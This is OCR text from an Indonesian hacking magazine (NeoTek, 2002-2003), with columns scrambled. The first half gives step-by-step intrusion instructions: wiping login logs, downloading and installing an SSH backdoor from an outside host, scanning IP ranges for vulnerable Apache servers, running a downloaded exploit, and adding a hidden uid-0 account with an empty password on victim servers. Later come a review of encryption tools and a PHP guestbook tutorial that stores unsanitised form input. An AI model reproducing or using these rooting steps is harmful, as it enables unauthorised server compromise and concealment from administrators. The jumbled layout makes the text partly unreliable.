NeoTekno

Proses compile sudah selesai. Sekarang kita mulai hapus tool backdoor kita dan menginstalnya dengan cara:
log user scut dan michael dengan cara [root@www tmp]# wget www.radikal.org/backdoor.tar.gz
[root@www tmp]# ./remove scut [root@www tmp]# tar xzf backdoor.tar.gz
[root@www tmp]# cd shv4
REMOVE by Simple Nomad
Nomad Mobile Research Centre (c) 1997 Sampai saat ini kita mulai memasuki tahap penginstalan.
Found 1 record(s) for user scut Perlu diketahui tools backdoor ini bersifat open port. Mak-
Will attempt a lastlog cleanup by default. sudnya, kita login ke ssh melalui port yang kita tentukan
# - remove last # records from utmp/wtmp saat kita mulai menginstal backdoor. Misal kita ingin menen-
a - remove (a)ll records from utmp/wtmp tukan port 7788 dan password backdoor kita adalah t3st1ng.
q - (q)uit program Maka yang kita lakukan adalah mengetik command:
Enter selection -> a
REMOVE cleaned up 1 record(s) from /var/log/wtmp [root@www tmp]# ./setup t3st1ng 7788
REMOVE cleaned up 1 record(s) from /var/run/utmp Sekarang kita sudah selesai melakukan proses rooting
REMOVE cleaned up /var/log/lastlog sampai pemasangan backdoor. Yang perlu kita perhatikan di
[root@www tmp]# sini adalah menghapus user scut dan michael dengan cara:
[root@www tmp]# /usr/sbin/userdel -r scut
[root@www tmp]# /usr/sbin/userdel -r michael
Jangan lupa menghapus semua tools kita yang tertinggal
di direktori /var/tmp/" " dan direktori rahasia kita " ".
Sekarang kita tes dengan login ke shell dengan port 7788
dan password t3st1ng.

Bila ada yang kurang jelas atau ada keluhan terhadap artikel
ini atau tentang tools yang kami bahas, silakan kontak kami
(Scut) via email ke buglifeo@yahoo.com atau
neokecoak@yahoo.com atau silakan singgah di komunitas
kecoak elektronik via IRC Dalnet channel #k-elektronik. Salam
Begitu juga log user michael dengan cara yang sama juga hangat dari kami dari Jogja.
dihapus. Setelah proses pembersihan log selesai kita akan Artikel ini disunting dan diberi ilustrasi (screen shot) oleh MA
melangkah ke proses backdooring dengan men-download Rody Candera (odyxb@melva.org).

Mencari Apache Server yang Vulnerable


Apache Chunked Scanner
Share tool pada artikel ini—Apache Chunked Scanner—dapat digunakan untuk mencari target
Apache dalam melakukan rooting Apache-OpenSSL. MA Rody Candera (odyxb@melva.org)
menguraikannya untuk anda sehingga anda dapat mempraktikkan rooting bertarget Apache.

ADA ARTIKEL TULISAN SCUT, Rooting dengan Meng-


P gunakan Exploit Apache-OpenSSL, di depan tidak
disebutkan program share tool untuk mendapat-
kan target Apache yang vulnerable. Pada artikel ini pe-
nulis mencoba membantu pembaca dengan membahas
share tool yang dapat digunakan untuk tujuan di atas.
Share tool yang akan dipaparkan pada artikel ini yaitu
Apache Chunked Scanner, dapat digunakan untuk men-
cari target Apache dalam melakukan rooting Apache-
OpenSSL. Anda dapat menginstalnya dari CD yang diser-
takan pada majalah ini.
Penulis mencoba menggambarkan cara penggunaan share
tool ini. Jika ingin tahu lebih banyak, silakan coba sendiri.
Copy share tool Apache Chunked Scanner (dikemas
dalam bentuk file Winzip) ke folder mana saja di harddisk
anda. Selanjutnya ekstrak ke folder yang dapat diberi
nama Apache. Setelah itu jalankan program tersebut.
• Tampilan Apache Chunked Scanner

28 NeoTek Januari 2003


NeoTekno

• Tampilan List. • Ini mungkin dapat dijadikan target.

Untuk mencari target server yang menggunakan Apache,


terlebih dahulu tentukan hal-hal yang akan membantu
share tool tersebut ketika men-scan nanti.
• Klik bagian List.
• Pada Use these parameters: berikan tanda cek, juga di
bagian Domain. Kotak panjang yang berada di bagian
bawah dibiarkan seperti terlihat pada gambar di atas.
• Klik Scan Type

Setelah mendapat IP sebenarnya, selanjutnya coba untuk


rooting Apache-OpenSSL. Jika tidak berhasil, target yang
lain. Artikel ini hanya membantu bagaimana mencari
target menggunakan share tool untuk rooting Apache-
OpenSSL.
• Tampilan Scan Type.

• Klik IP Range, dan isikan kotak-kotak yang berada di


bagian bawah IP yang akan di-scan oleh share tool. Em-
pat kotak pertama adalah IP yang akan di-scan, misal:
202.0.0.1 dan kotak yang kelima berfungsi untuk me-
nentukan batas IP yang akan di-scan, isikan saja 255.
jadi IP yang akan discan oleh share tool ini mulai dari
202.0.0.1 sampai 202.0.0.255
• Kemudian kembali ke bagian Active Host (lihat gam-
bar tampilan Apache Chunked Scanner). Yang perlu
dilakukan disini adalah klik Find dengan tujuan meng-
aktifkan share tool tersebut untuk memulai scan.
Share tool bekerja dan terlihat hasilnya, pada bagian
yang sengaja dilingkari penulis pada gambar di kolom
kanan atas. www.202.0.0.109.com menggunakan
Apache 1.3.9 yang berjalan di server RedHat Linux.
Coba klik www.202.0.0.109.com pada program untuk
melihat tampilan situs Web tersebut. Silakan utak-atik program tersebut untuk menambah
• Selanjutnya, dns www.202.0.0.109.com di mIRC untuk pengetahuan dalam penggunaannya. Selesai sudah
mencari tahu IP sebenarnya dari situs tersebut. pemaparan pada artikel ini, semoga dapat berguna.

Januari 2003 NeoTek 29


NeoTekno

ROOTING
ernah mendengar istilah
P ngeroot? Istilah ini digunakan
para hacker di beberapa tempat
di Indonesia. Sebenarnya yang

MENGGUNAKAN EXPLOIT dilakukan adalah hack terhadap server


hosting dengan menggunakan exploit
untuk mendapatkan akses root. Pada

& OPENSSH PADA PUTTY artikel ini, hacking yang dilakukan


tertuju kepada server yang berjalan di
OS (Operating System) Linux.
Untuk dapat melakukan hacking root
Implementasi OpenSSH pada Windows contohnya PuTTY yang server Linux, dibutuhkan account shell
dapat melakukan akses pada port 22 (SSH). PuTTY dimanfaatkan yang bisa didapat dengan membeli,
seperti di www.shellindo.com,
untuk mengakses Linux Shell Account dan melalui account itu www.rootshell.be, dan lain-lain. Tentu
menjalankan exploit untuk mendapatkan akses root pada saja kalau membeli dibutuhkan dana
server. Odyxb (odyxb@melva.org) membahasnya untuk anda. yang tidak sedikit.

Anda juga dapat ngeroot server Linux melalui Windows.

INSTALASI PUTTY AKSES SHELL ACCOUNT DOWNLOAD EXPLOIT


1 Pada contoh ini kita mengguna-
kan OS Windows, sehingga untuk
2 Setelah didownload, jalankan
Putty. Isikan IP/Host di mana shell
3 Setelah masuk ke shell account,
untuk dapat ngeroot, dibutuhkan
dapat menjalankan exploit yang account yang dimiliki dan gunakan exploit. Download exploit-nya
berbasis Linux, kita harus mem- port 22 (SSH). Setelah diisi, klik dengan mengetikkan:
punyai Linux shell account. Akses Open untuk menggunakan shell wget www.onelandies.net/files/ftp.tgz.
terhadap account ini dari Windows account tersebut.
menggunakan Putty yang diinstal Tunggu proses download selesai.
dari Internet atau CD NeoTek.

MENAMBAHKAN USER
7 Tambahkan user dan password pa-
da target dengan mengetikkan:
/usr/sbin/useradd odyxbs -u 0 -o -g
root -s /bin/bash -d /dev/.odyxbs
passwd -d odyxbs
Keterangan:
• /usr/sbin/useradd odyxbs
(menambah user dengan login odyxbs)
CEK AKSES DENGAN PUTTY GANTI PASSWORD
• root
(akses setingkat root) 8 Coba cek apakah berhasil. Aktifkan
putty dan masukkan IP target,
9 Jika berhasil, lihat gambar di atas.
Anda akan masuk di
• /bin/bash -d /dev/.odyxbs root@backup.login.
(membuat directory odyxbs) gunakan port 22 (SSH), klik open.
Setelah terkoneksi, masukkan login Untuk mengganti password, ketik:
• passwd -d odyxbs
(password user odyxbs) dan password. passwd. Anda diminta mengisi-
Catatan: kan password baru dan mengkon-
Login, directory, dan password harus sama.
firmasikannya.

30 NeoTek Oktober 2002


NeoTekno

Cara lain untuk mendapatkan account


shell yaitu dengan menginstal Linux
di PC kita sendiri.
Paling mudah misalnya dengan meng-
instal Linux Mandrake 8.0 dari Instal-
lation CD pada NeoTek edisi Mandrake.
Gambar di sebelah kanan adalah
command line shell yang diaktifkan
pada Linux Mandrake 9.0. Bila meng-
gunakan Linux box sendiri seperti
ini, maka dari penjelasan di bawah,
mulai langsung dengan Langkah 3,
sebab Langkah 1 dan 2 berlaku hanya
untuk komputer Windows (PuTTY
adalah aplikasi SSH pada Windows).
Mari mulai nge-root...

EKSTRAKSI FTP.TGZ PERINTAH SCAN EXPLOIT MENCARI TARGET


4 Selesai di-download, ftp.tgz perlu
diekstrak dengan mengetikkan:
5 Masuk ke direktori ftp (cd ftp).
Kini siap untuk hacking. Ketikkan:
6 Terlihat exploit mencari target yang
vulnerable. Ini mungkin memakan
tar -zxvf ftp.tgz ./scan {nomor depan ip target} waktu lama, tetapi jika beruntung,
21 {nomor setelah nomer depan tidak terlalu lama untuk mendapat
Tunggu proses ekstrak sampai ip target}. Contoh: ./scan 203 21 0 target yang empuk. Target yang
selesai. atau ./scan 216 21 10. vulnerable terhadap serangan
Tidak terdapat titik di antara exploit akan terlihat seperti pada
nomor gambar.

EKSPLORASI SERVER
10 Sampai di sini, anda melihat-
lihat isi server. Sebaiknya tidak
dirusak. Untuk lebih berhati-hati,
perlu dicari siapa saja yang MEMASTIKAN MASIH TERKONEKSI
sedang aktif di server tersebut.
Ketikkan: who.
11 Untuk memastikan apakah anda masih terkoneksi pada server terget, ketikkan: id.

Oktober 2002 NeoTek 31


NeoTekno

Melindungi File Anda dengan


ENKRIPSI
Upaya melindungi data atau file anda tidak harus selalu dengan biaya mahal. Dengan perangkat
enkripsi gratisan anda dapat melakukan hal ini dengan mudah. NeoTek membahas beberapa
program enkripsi gratis dan memberikannya pada CD Neotek bulan ini.

NKRIPSI BERMANFAAT KARENA • PGP terintegrasi dengan baik


E memungkinkan anda melin-
dungi file dari tangan jahil.
pada Windows. Di sini terlihat,
setelah diinstal, PGP muncul
sebagai salah satu menu jika
Dan dengan program enkripsi paling anda mengklik tombol kanan
sederhana, superkomputer tercanggih mouse setelah anda memilih
sekalipun akan sulit membuka file salah satu folder atau file pada
yang telah dienkripsi. Windows Explore. Selanjutnya
anda dapat memilih untuk
Sampai saat ini penggunaan program mengenkrip, dekrip dsb. file
enkripsi sebagai alat pelindung data dan folder yang telah anda
masih menjadi kontroversi. Dan seba- pilih tersebut.
gaimana layaknya suatu kontroversi,
selalu ada pro dan kontra mengenai
perlu-tidaknya peng-enkripsi-an
suatu file. Di satu sisi ada pihak yang
menyatakan bahwa publik mempu-
nyai hak untuk privasi dan kebebasan Teknologi enkripsi PGP sebuah menu dan toolbar baru dari
berbicara, sementara di pihak lain ada amat piawai sehingga membuat pen- PGP yang akan membuat enkripsi,
yang mengatakan bahwa teknologi ciptanya, Philip Zimmerman, 'kege- dekripsi, dan penandatanganan
enkripsi memungkinkan pelaku kri- rahan' karena disidik oleh pemerin- (signing) file menjadi amat mudah.
minal dan teroris menjalankan opera- tah Amerika Serikat selama tiga ta-
hun sebagai pelaku perbuatan krimi- Jika integrasi dengan program email
sinya secara lebih rahasia dan efisien. belum cukup, PGP juga terintegrasi
nal. Agaknya pemerintah AS melihat
Bagi anda sendiri sebagai pengguna peluncuran PGP sebagai pelanggaran dengan baik dengan Windows se-
komputer tentunya terpulang kepada terhadap undang-undang ekspor AS hingga anda dengan mudah dapat
anda sendiri untuk memutuskan per- yang memperlakukan ekspor tekno- mengenkripsi file. Anda cukup
lu-tidaknya anda menggunakan en- logi enkripsi sebagai perbuatan yang mengklik-kanan pada folder file yang
kripsi untuk file-file komputer anda. mirip dengan menjual senjata ke luar akan anda enkripsi. Sebuah menu
Di bawah ini NeoTek berupaya meng- negeri. Pemerintah AS akhirnya PGP akan anda jumpai di antara
uraikan beberapa contoh program en- menutup kasus ini pada tahun 1996. menu-menu lain pada kotak menu
kripsi gratisan yang kami sertakan juga yang muncul.
jumpai pada CD NeoTek bulan ini. Kini, dengan versi 7.0.3-nya, PGP
merupakan salah satu alat enkripsi PGP menggunakan key pair system
PGP yang terbaik, dan tetap gratis. Pada untuk mengenkripsi dan mendekripsi
saat diinstal, PGP akan masuk ke file. Kunci (key) yang satu bersifat
PGP (Pretty Good Privacy) adalah pro- pribadi (private) sedangkan yang lain
gram enkripsi untuk email dan file aplikasi email seperti Outlook, Out-
look Express, Eudora, dan Lotus umum (public). Pendekatan ini ber-
yang amat populer. Program ini su- asal dari pengertian umum mengenai
dah digunakan secara luas di kalang- Notes. Pengguna klien email yang
didukung oleh PGP akan menjumpai Public Key Infrastructure. Agar dapat
ean pengguna di rumah tangga.

32 NeoTek Januari 2003


NeoTekno

berkomunikasi secara aman dengan


pengguna komputer lain, anda saling Abi Coder
bertukar public key sehingga dapat
mengenkripsi dan mendekripsi file
atau email yang dikirimkan. PGP ju-
ga memungkinkan anda menanda-
tangani (sign) file yang dienkripsi un-
tuk memastikan bahwa file itu berasal
dari orang yang mengaku mengirim-
kannya. Kunci (key) memainkan pe-
ranan penting dalam pengamanan
komunikasi dan PGP mempunyai pe-
rangkat yang memungkinkan anda
• Apa yang tampak sebagai antar-muka yang • Abi Coder juga menyertakan editor teks untuk
mengelola kunci-kunci itu—anda da- baik sebenarnya menyembunyikan fakta bahwa menulis dan mengenkripsi pesan kepada kolega
pat membuat dan menghapus kunci, anda tidak dapat mengatur ukuran window dan anda.
memperbarui nama dan alamat yang mengenkripsi beberapa file sekaligus.
berkaitan dengan kunci anda dan
banyak yang lainnya. Tidak semua perangkat enkripsi diciptakan dapat memilih beberapa file sekaligus
Selain itu, PGP juga mempunyai fi- sama baiknya. Abi Coder baik dalam hal untuk dienkripsi sehingga pengenkripsian
tur pengamanan lain yang diberi na- pengenkripsian file, tetapi penggunaannya harus dilakukan satu per satu.
tidak mudah.
ma Wipe. Saat menghapus (delete) Abi Coder memang memberikan
sebuah file pada hard disk, anda dapat Antar-muka Abi Coder menyerupai
perangkat file yang dasar-dasar seperti
menggeretnya ke Recycle Bin dan Windows Explorer dengan kolom folder
membuat folder baru, selain fungsi cut
walaupun anda langsung mengosong- dan file yang memungkinkan anda mem-
and paste, tetapi memang cuma sekian
kannya, file itu tetap dapat diambil browse hard disk untuk menemukan file
yang diberikan. Abi Coder menggunakan
kembali oleh orang yang mempunyai yang akan dienkripsi. Sayangnya, tidak
pendekatan single key sehingga anda
pengetahuan dasar mengenai cara seperti Windows Explorer, anda tidak
tidak dapat mengirimkan email yang anda
penyimpanan file. Dengan menggu- dapat mengatur ukuran kolom-kolom ini.
enkrip dengan program ini.
nakan perangkat Wipe pada PGP, Yang lebih merepotkan adalah anda tidak
anda secara permanen dapat meng-
hancurkan informasi yang sensitif.
Akhirnya, fitur keamanan PGP masih
dilengkapi dengan fitur pengaman
komunikasi lewat ICQ.
EasyCrypto Deluxe
Perangkat enkripsi stand-alone lain-
nya adalah EasyCrypto Deluxe. Pe-
angkat ini sedikit lebih mudah peng-
gunaannya dibandingkan Abi Coder.
Dan, berbeda dengan PGP, EasyCryp-
to adalah sistem dengan satu kunci
(single key system) sehingga tidak
dapat digunakan untuk mengenkripsi
file yang akan dikirimkan ke orang
lain. Perangkat ini lebih cocok untuk
mengamankan file pribadi di PC anda
sendiri. EasyCrypto Deluxe juga ter- • EasyCripto juga menyertakan file Help yang baik yang sehingga anda lebih cepat dapat
integrasi pada menu context-sensitive menggunakan perangkat enkripsi ini.
di Windows sehingga dapat lebih mu-
dah diakses dan memungkinkan anda mengenkripsi beberapa file dan folder pernah menggunakan program Win-
dengan mudah. Zip yang amat populer itu, maka an-
Pelengkap lain yang bermanfaat ada- da akan langsung terbiasa dengan an-
lah window “Did you know…” pada tar muka Mooseoft Encryptor. Ikon
bagian atas antar-muka (interface). Di yang berjejer di bagian atas merupa-
sini anda dapat membaca tip praktis kan akses untuk fungsi-fungsi seperti
mengenai cara penggunaan program Encrypt, Add Files, Remove Files, Add
itu, selain nasihat mengenai cara mem- Directory dan lainnya. Selain itu, an-
buat dan menggunakan kata sandi da juga dapat menjumpai tab perin-
(password) dan masih banyak lagi. tah di bawah ikon-ikon ini untuk De-
crypt, Enkcrypt dan Wipe. Dengan
Mooseoft Encryptor semua fasilitas ini maka antar muka
Encryptor menjadi mudah digunakan
Mooseoft Encryptor adalah perangkat
karena anda dengan gampang dapat
enkripsi stand-alone lainnya yang
• EasyCripto Deluxe mempunyai fitur-fitur yang baik menemukan file dan folder untuk
dan sangat mudah digunakan, dan terintegrasi amat mudah digunakan. Jika anda
dienkripsi dan dekripsi.
dengan baik pada menu-konteks. Windows.

Januari 2003 NeoTek 33


NeoTekno

Info mengenai enkripsi

Jantung teknologi enkripsi terletak pada keamanan dan kekuatan algoritma matematis
yang sebenarnya melakukan pekerjaan enkripsi itu. Matematika yang digunakan amat
rumit. Dahulu teknologi perangkat lunak yang rumit ini hanya digunakan oleh kalangan
militer, tetapi berkat putar otak para pencipta program enkripsi, maka kini yang tadinya
demikian rahasia dapat digunakan oleh para pengguna komputer dengan relatif mudah
untuk keperluannya sendiri. Di bawah ini adalah daftar situs Web yang dapat digunakan
sebagai sumber informasi mengenai kriptografi dan algoritma yang digunakan.
Cryptography.com www.cryptograhy.com
International Association for Cryptologic Research www.iacr.org
• Jika sudah terbiasa menggunakan WinZip maka RSA Laboratories www.rsasecurity.com/rsalabs/
anda tidak akan asing lagi dengan antar muka SSH Communications Security www.ssh.com/tech/crypto
Mooseoft Encryptor. The National Institute of Standards and Technology http://csrc.nist.gov/ encryption/aes

rangkat enkripsi yang dibahas di sini, lah diinstal, anda dapat mengenkripsi
PowerCrypt menggunakan algoritma file dan folder hanya dengan memi-
enkripsi yang relatif tidak dikenal lihnya dan menggeretnya ke ikon
dari GNU license library yang ber- Kryptel di Desktop anda. Anda akan
nama Zlib. Antar mukanya pun tidak diminta memasukkan key pass
terlalu mudah digunakan dan juga phrase (ingat, makin panjang frasa-
tidak dapat diatur ukurannya. nya makin baik), lalu Kryptel akan
Enkripsi adalah ilmu yang relatif be- mulai melakukan enkripsi.
lum banyak diketahui para pengguna File-file yang dienkripsi ditempatkan
komputer padahal banyak pembuat pada file enkripsi Kryptel yang dapat
perangkat enkripsi terlalu sering anda klik ganda atau buka lewat
• Encrytpor juga dilengkapi dengan pembuat kata mengasumsikan bahwa pengguna browser Kryptel. Ketika membuka
sandi yang dapat membantu anda membuat kata perangkat lunak mereka mengetahui file yang dienkripsi, anda akan di-
sandi yang sulit ditebak.
ilmu ini. File Hel yang baik sebenar- minta memasukkan pass phrase yang
Untuk membantu anda menemukan nya akan banyak membantu peng- anda gunakan ketika mengenkripsi
kata sandi yang baik, Encryptor mem- guna dalam menggunakan program file itu. Kryptel kemudian akan
punyai pembuat kata sandi yang da- semacam ini, tetapi hal ini tidak dapat memperlihatkan file yang ada di
pat membuatkan kata sandi secara dijumpai pada PowerCrypt 2000. dalamnya mirip seperti pada Windows
acak untuk anda. Explorer, lengkap dengan struktur
Kryptel foldernya. Anda kemudian dapat
PowerCrypt 2000 Jika anda biasa bekerja dengan cara menambahkan file-file lain ke dalam
Yang selanjutnya adalah PowerCrypt drag and drop maka Kryptel barang- file enkripsi itu, di samping meng-
2000. Tidak seperti kebanyakan pe- kali sesuai dengan selera anda. Sete- ubah nama, menghapus, mendekripsi
dan lain-lain.
• PowerCrypt 2000 tidak mendukung algoritma yang populer. Yang digunakannya adalah Kryptel adalah perangkat yang elegan
algoritma lisensi GNU. dan mudah digunakan sehingga ideal
untuk mereka yang ingin menggu-
nakan perangkat enkripsi yang
sederhana dan tidak membuat
pusing.

• Dengan kemampuan browsernya yang dapat


dioperasikan lewat cara drag and drop, Kryptel
cocok untuk mereka yang tidak ingin dipusingkan
dengan cara pengoperasian yang sulit.

34 NeoTek Januari 2003


NeoTutor

PHP Praktis dalam Aplikasi


Buku Tamu MYNEOGUESTBOOK
Fasilitas buku tamu dapat anda peroleh gratis dari Internet. Namun tidak ada salahnya anda membuatnya
sendiri. Kelanjutan seri “PHP Praktis dalam Aplikasi” kali ini menguraikan cara pembuatan fasilitas buku tamu
yang dapat anda lakukan sendiri.

PLIKASI YANG SATU INI TENTU SUDAH tidak asing lagi kita simpan dalam satu folder khusus yaitu folder dengan
A bagi anda. Aplikasi buku tamu biasanya dipajang di
situs-situs personal. Mungkin anda adalah salah
nama db.
Secara umum kita akan membagi file basisdata yang:
seorang pengguna aplikasi ini karena banyak sekali layan-
an gratisan di Internet yang menyediakan fasilitas buku a. Menyimpan jumlah pengunjung yang mengisi buku
tamu gratis, baik itu yang telah terintegrasi dengan free tamu. File teks ini nantinya dinamakan jml.db.php.
hosting yang anda gunakan atau pun yang disediakan oleh Format file ini pun sangat sederhana yaitu hanya me-
pihak ketiga. muat angka yang merupakan jumlah pengunjung yang
pernah mengisi buku tamu. Jadi misalkan ada 2
Namun pada tulisan kali ini yang merupakan kelanjutan pengunjung yang telah mengisi buku tamu maka file
dari tulisan PHP Praktis sebelumnya kita akan mencoba jml.db.php ini akan berisi angka 2. Fungsi file ini
membuat aplikasi buku tamu sederhana dengan menggu- sebenarnya adalah sebagai pengindeks untuk menamai
nakan PHP. file basisdata berikutnya.
Siapkan Dahulu Template-nya b. Menyimpan data-data dari form yang diisi oleh pengun-
Yang pertama anda siapkan adalah template buku tamu ini. jung. Setiap masukan dari pengunjung akan disimpan
Anda dapat membuatnya seindah mungkin dengan meng- dalam satu file tersendiri dan file teksnya dinamai sesuai
gunakan MS FrontPage atau Macromedia Dreamweaver. dengan indeksnya sesuai file jml.db.php yang telah kita
Adapun template yang harus anda siapkan adalah: sebut di atas. Jadi untuk pengunjung pertama yang
mengisi, maka isian dari form akan disimpan pada file
a. Halaman formulir buku tamu ( sebagai misal 1.db.php, untuk pengunjung kedua pada file 2.db.php,
dinamakan isi.htm ), yaitu suatu halaman yang berisi untuk pengunjung kesepuluh pada file 10.db.php demi-
form yang akan diisi oleh pengunjung yang hendak kian seterusnya.
mengisi buku tamu. Yang harus ada pada form isian ini
adalah Nama pengunjung, Email, Homepage(opsional) Ada pun yang akan kita simpan dalam file-file ini adalah
dan Komentar. data yang dimasukkan melalui form, ditambah dengan
tanggal yang di-generate oleh server. Sehingga format
b. Halaman list dari komentar-komentar yang telah ada filenya sebagai berikut:
dan masuk ke dalam database ( sebagai misal dinamakan
list.htm ). Yang ditampilkan pun tidak jauh berbeda Nama_Pengunjung#Email_Pengunjung#Homepage_Pengunjung#K
dengan apa yang telah dimasukkan pengunjung melalui omentar_Pengujung#Tanggal_Pengisian
form pada halaman formulir, hanya ada satu tabahn
yaitu waktu pengisian buku tamu yang akan secara
otomatis dilakukan oleh server nantinya. Seperti biasa setiap data kita pisahkan dengan tanda pagar,
agar nanti dapat dipecah-pecah sesuai kebutuhan dengan
Basisdata yang Digunakan mudah.
Seperti aplikasi-aplikasi kita sebelumnya, kali ini pun kita Nah itulah file-file yang akan kita gunakan sebagai basis-
belum menggunakan DBMS untuk manajemen data yang data untuk aplikasi kita kali ini. Perlu diketahui semua file
ada, kita akan menggunakan file-file teks biasa yang akan tersebut tersimpan dalam satu folder yang kita namai db.

Januari 2003 NeoTek 35


NeoTutor

Jadi jangan lupa membuat sebuah folder kosong dengan Selanjutnya kita gabungkan variabel-variabel dari formulir
nama db sebelumnya, agar semuanya berjalan dengan menjadi satu kesatuan string dalam variable x sebelum di-
lancar. Sedangkan file-filenya nanti akan terbentuk dengan tuliskan ke dalam file basisdata. Salah satu variabel yaitu
sendirinya. Jadi tidak perlu anda buat sebelumnya. variabel pesan kita masukkan terlebih dahulu ke dalam
fungsi konversi nl2br(), yaitu fungsi yang akan mengubah
Membuat File-File PHP garis baru ke tag <br>.
File-file PHP ini merupakan file-file template sebelumnya
yang telah kita sisipi dengan script PHP. Secara umum kita $x="$nama#$email#$homepage#".nl2br($pesan)."#$tgl";
akan membuat tiga file PHP yaitu :
a. File index.php Lalu proses penentuan nama file database yang akan dibuat
b. File list.php sesuai dengan indeks yang didapat dari file jml.db.php
c. File isi.php yang telah tersimpan dalam variable s. Nama file kita
simpan dalam variable y.
File index.php
File ini murni skrip PHP yaitu file yang akan mengatur $y="db/$s.db.php";
apa yang akan ditampilkan, apakah halaman list dari
komentar-komentar pengunjung ataukah formulir isian. Kemudian proses penulisan file database itu sendiri yaitu
Juga memproses penulisan file-file basisdata. dengan menggunakan fungsi fwrite(), setelah koneksi ke
Berikut penjelasan source code halaman index.php: file dengan fungsi fopen() sebelumnya.
Pertama kita cek dulu apakah nilai dari variable op adalah
$b=fopen($y,"w");
isi. Jika nilai dari variable op adalah isi maka berarti akan $t=fwrite($b,$x,strlen($x));
ditampilkan halaman formulir. fclose($b);

if ($op=="isi"){
Variabel k selanjutnya kita isi dengan suatu komentar un-
Selanjutnya kita cek apakah nilai dari variabel ak adalah isi. tuk pengunjung yang telah mengisi buku tamu.
Jika nilai variabel ak adalah isi maka berarti akan dilakukan $k="Terimakasih Anda telah mengisi buku tamu! Anda adalah
proses penulisan file basisdata. pengisi ke-$s";

if ($ak=="isi"){
Dan kemudian akan diteruskan ke halaman formulir
Proses penulisan didahului dengan pengecekan apakah file kembali dengan menggunakan fungsi include().
jml.db.php sudah ada atau belum. Fungsi dari pengecekan
include "isi.php";
ini adalah untuk mengindeks file basisdata ke berapa yang
akan dibuat. Namun jika file ini tidak ada maka diasumsi-
kan belum ada yang mengisi buku tamu sama sekali. Maka Selesai untuk proses jika variabel ak berisi nilai isi. Dan
kita akan membuat sebuah file teks baru yang selanjutnya jika ternyata variabel ak tidak bernilai isi maka akan
kita namai jml.db.php. Dan langsung diisi nilainya dengan langsung diteruskan ke halaman formulir tanpa proses
angka 1. seperti sebelumnya. Variabel k berisi komentar pun
dikosongkan.
$f="db/jml.db.php";
if (!file_exists($f)){ } else {
$s=1; $k="";
$b=fopen($f,"w"); include "isi.php";
$t=fwrite($b,$s,strlen($s)); }
fclose($b);
Sampai di sini selesai sudah untuk variable op yang ber-
Selanjutnya adalah jika ternyata file jml.db.php sudah ada. nilai isi. Selanjutnya tinggal proses untuk nilai op selain
Maka langsung kita baca angka yang terdapat dalam file, isi. Maka yang akan ditampilkan adalah halaman list ko-
lalu kita naikkan satu angka. Setelah itu file kita update mentar-komentar pengunjung.
dengan angka yang baru. Pertama tentukan dahulu berapa jumlah komentar yang
} else { akan ditampilkan per halaman. Nilai ini kita simpan dalam
$b=fopen($f,"r"); variable r. Di sini misalnya saja kita tentukan 5 komentar
$s=fread($b,filesize($f)); per halaman maka variable r kita beri nilai dengan 5. Jika
$s=$s+1; Anda menginginkan 10 komentar per halaman Anda
fclose($b); tinggal mengganti saja nilai variable r ini dengan angka 10.
$b=fopen($f,"w"); Demikian seterusnya.
$t=fwrite($b,$s,strlen($s));
fclose($b);
} } else {
$r=2;
Suatu variabel yang kita namai tgl akan kita set dengan
nilai dari fungsi date(). Format tanggal yang kita gunakan Setelah ditentukan banyaknya komentar per halaman
di sini adalah dd/mm/yy hh:mm AM/PM. maka diteruskan ke halaman list.php yang akan
memproses tampilan list.
$tgl=date("d/m/y h:i A");

36 NeoTek Januari 2003


NeoTutor

include "list.php"; pengunjung yang mengisi buku tamu. Sedangkan jika ter-
} nyata file jml.db.php ini ada maka proses untuk menam-
pilkan komentar-komentar akan dilakukan.
Nah, selesai sudah file index.php sampai di sini. Secara
lengkap berikut adalah source kode index.php <?
} else {
<? ?>
//file index.php

if ($op=="isi"){ Seperti biasa kita membaca file jml.db.php dengan meng-


if ($ak=="isi"){ gunakan fungsi fread() lalu hasilnya kita simpan dalam
$f="db/jml.db.php"; suatu variabel yang dinamai variabel c.
if (!file_exists($f)){
$s=1;
$b=fopen($f,"w"); $b=fopen($f,"r");
$t=fwrite($b,$s,strlen($s)); $c=fread($b,filesize($f));
fclose($b); fclose($b);
} else {
$b=fopen($f,"r");
$s=fread($b,filesize($f)); Cek apakah terdapat masukan variabel h yang menunjukkan
$s=$s+1; halaman ke berapa yang akan ditampilkan. Jika variabel h ini
fclose($b); ada isinya alias tidak kosong maka akan kita cek apakah nilai
$b=fopen($f,"w"); variabel h ini lebih besar dari banyaknya halaman atau tidak.
$t=fwrite($b,$s,strlen($s));
fclose($b); if($h!=""){
} $d=($h-1)*$r;
$tgl=date("d/m/y h:i A");
$x="$nama#$email#$homepage#".nl2br($pesan)."#$tgl";
$y="db/$s.db.php"; Jika ya, maka nilai variabel h akan dikembalikan ke satu
$b=fopen($y,"w");
$t=fwrite($b,$x,strlen($x)); atau halaman awal.
fclose($b);
$k="Terimakasih Anda telah mengisi buku tamu! Anda adalah if ($d>$c){
pengisi ke-$s"; $h=1;
include "isi.php";
} else {
$k=""; Selanjutnya karena akan menggunakan perulangan dengan
include "isi.php"; for untuk menampilkan komentar-komentar yang ada maka
} kita perlu menset awal dan akhir perulangan. Awal
} else { perulangan kita set dengan mengisi variabel awal sedangkan
$r=2;
include "list.php"; akhir perulangan kita set dengan mengisi variabel akhir.
} Buku tamu akan lebih terlihat up to date jika ditampilkan
?> dari komentar terbaru sampai dengan komentar terlama.
Karena itu nilai awal kita set sebagai nilai yang terdapat
File list.php dalam file jml.db.php, yang merupakan indeks dari ko-
mentar terakhir yang masuk. Sedangkan nilai akhir adalah
Pada file index.php di atas ada bagian yang menyertakan nilai awal dikurangi dengan banyaknya komentar per
file list.php. File ini berfungsi untuk menampilkan komen- halaman. Namun jika ternyata selisihnya negatif maka
tar-komentar yang telah tersimpan di basisdata sesuai de- nilai akhir di set ke nilai nol.
ngan parameter yang telah ditentukan. Parameter-parame-
ter itu adalah banyaknya komentar per halaman dan $awal=$c;
halaman ke berapa yang akan ditampilkan. $akhir=$c-$r;
if($akhir<0){
File list.php ini harus anda pahami hanya merupakan ha- $akhir=0;
laman list.htm yang disisipi dengan skrip-skrip PHP. Berikut }
ini penjelasan skrip PHP yang terdapat pada file list.php.
Yang pertama perlu diperhatikan pada halaman list.php ini Selesai untuk nilai variabel h yang lebih besar dari banyak-
adalah adanya link yang menuju halaman isi. Link ini nya halaman yang ada. Jika ternyata nilai variabel h sama
silakan diberi alamat “index.php?op=isi”. dengan atau lebih kecil dari banyaknya halaman yang ada
maka akan ditampilkan halaman sesuai dengan nilai varia-
